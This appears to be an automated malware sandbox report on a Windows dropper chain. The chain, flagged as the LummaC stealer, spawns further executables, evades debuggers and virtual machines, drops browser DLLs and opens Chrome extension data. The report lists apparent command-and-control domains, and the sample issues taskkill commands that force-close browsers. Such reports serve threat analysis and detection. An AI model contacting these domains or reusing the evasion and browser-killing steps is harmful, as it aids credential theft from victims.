Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE07E8 second address: 4EE07EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE07EE second address: 4EE07FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E595Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE084B second address: 4EE0862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F643h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE0862 second address: 4EE087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F77291E5964h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 4EE087A second address: 4EE0895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F63Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx ebx, ax 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Special instruction interceptor: First address: 54E8DA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Special instruction interceptor: First address: 54E99D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Special instruction interceptor: First address: 79164B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EEE8DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EEE99D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 113164B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Special instruction interceptor: First address: 833B9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Special instruction interceptor: First address: 831502 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Special instruction interceptor: First address: 833C33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Special instruction interceptor: First address: A63618 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Special instruction interceptor: First address: C1E516 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Special instruction interceptor: First address: C458B6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Special instruction interceptor: First address: A719DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Special instruction interceptor: First address: C24EB3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Special instruction interceptor: First address: CA9490 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

Code function: 0_2_04EE079A rdtsc

0_2_04EE079A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 801	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2213	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 925	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Window / User API: threadDelayed 576

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

API coverage: 0.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6784	Thread sleep count: 801 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6784	Thread sleep time: -1602801s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844	Thread sleep count: 305 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6844	Thread sleep time: -9150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6552	Thread sleep count: 968 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6552	Thread sleep time: -1936968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2316	Thread sleep count: 2213 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2316	Thread sleep time: -4428213s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2104	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4512	Thread sleep count: 925 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4512	Thread sleep time: -1850925s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe TID: 6128	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe TID: 5744	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe TID: 4296	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe TID: 1816	Thread sleep count: 94 > 30
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe TID: 1816	Thread sleep time: -564000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe TID: 6536	Thread sleep count: 192 > 30
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe TID: 6536	Thread sleep time: -1152000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe TID: 1252	Thread sleep count: 91 > 30
Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe TID: 1252	Thread sleep time: -546000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe TID: 4568	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Code function: 8_2_6C8BC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

8_2_6C8BC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmp, f84005b97f.exe, 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmp, 7e96f85771.exe, 7e96f85771.exe, 00000008.00000002.3166267260.0000000000BFE000.00000040.00000001.01000000.0000000A.sdmp, f84005b97f.exe, 00000009.00000002.2948490794.00000000009B8000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.3323108552.0000000000906000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`!
Source: 7e96f85771.exe, 00000008.00000002.3201117292.0000000029971000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 7e96f85771.exe, 00000008.00000002.3201117292.0000000029971000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: f84005b97f.exe, 00000009.00000002.2949821023.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhA
Source: skotes.exe, 00000006.00000002.3323108552.000000000094A000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812942208.0000000001481000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826107059.0000000001471000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826107059.0000000001481000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2812942208.0000000001471000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823586577.0000000001471000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000002.2826045123.00000000013FE000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000007.00000003.2823586577.0000000001481000.00000004.00000020.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949626105.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7e96f85771.exe, 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000017.00000002.3089180136.000002881EFC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 7e96f85771.exe, 00000008.00000002.3201117292.0000000029971000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: firefox.exe, 00000017.00000002.3086539959.0000028814EA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi
Source: g4Cyr2T5jq.exe, 00000000.00000002.2170856127.00000000006E3000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2193997224.0000000001083000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2204224650.0000000001083000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3326794267.0000000001083000.00000040.00000001.01000000.00000007.sdmp, f84005b97f.exe, 00000007.00000002.2824716537.00000000009B8000.00000040.00000001.01000000.00000009.sdmp, 7e96f85771.exe, 00000008.00000002.3166267260.0000000000BFE000.00000040.00000001.01000000.0000000A.sdmp, f84005b97f.exe, 00000009.00000002.2948490794.00000000009B8000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7e96f85771.exe, 00000008.00000002.3201117292.0000000029971000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001453000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWdH

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe

Code function: 0_2_04EE079A rdtsc

0_2_04EE079A

Source: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Code function: 7_2_00815BB0 LdrInitializeThunk,

7_2_00815BB0

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Code function: 8_2_6C905FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

8_2_6C905FF0

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

8_2_6C8A3480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EB652B mov eax, dword ptr fs:[00000030h]		6_2_00EB652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EBA302 mov eax, dword ptr fs:[00000030h]		6_2_00EBA302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		8_2_6C8DB66C
Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe	Code function: 8_2_6C8DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		8_2_6C8DB1F7

Source: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7e96f85771.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: f84005b97f.exe	String found in binary or memory: licendfilteo.site
Source: f84005b97f.exe	String found in binary or memory: clearancek.site
Source: f84005b97f.exe	String found in binary or memory: bathdoomgaz.store
Source: f84005b97f.exe	String found in binary or memory: spirittunek.store
Source: f84005b97f.exe	String found in binary or memory: dissapoiznw.store
Source: f84005b97f.exe	String found in binary or memory: studennotediw.store
Source: f84005b97f.exe	String found in binary or memory: mobbipenju.store
Source: f84005b97f.exe	String found in binary or memory: eaglepawnoy.store

Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe "C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe "C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe "C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001137001\num.exe "C:\Users\user\AppData\Local\Temp\1001137001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 88edf6a100.exe, 0000000A.00000000.2929918715.0000000000532000.00000002.00000001.01000000.0000000B.sdmp, 88edf6a100.exe, 0000001D.00000000.3069044721.0000000000532000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 7e96f85771.exe, 7e96f85771.exe, 00000008.00000002.3166267260.0000000000BFE000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: ~Program Manager
Source: f84005b97f.exe, 00000007.00000002.2825170638.00000000009FE000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: \|Program Manager
Source: firefox.exe, 00000017.00000002.3080139438.000000CF3BAFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
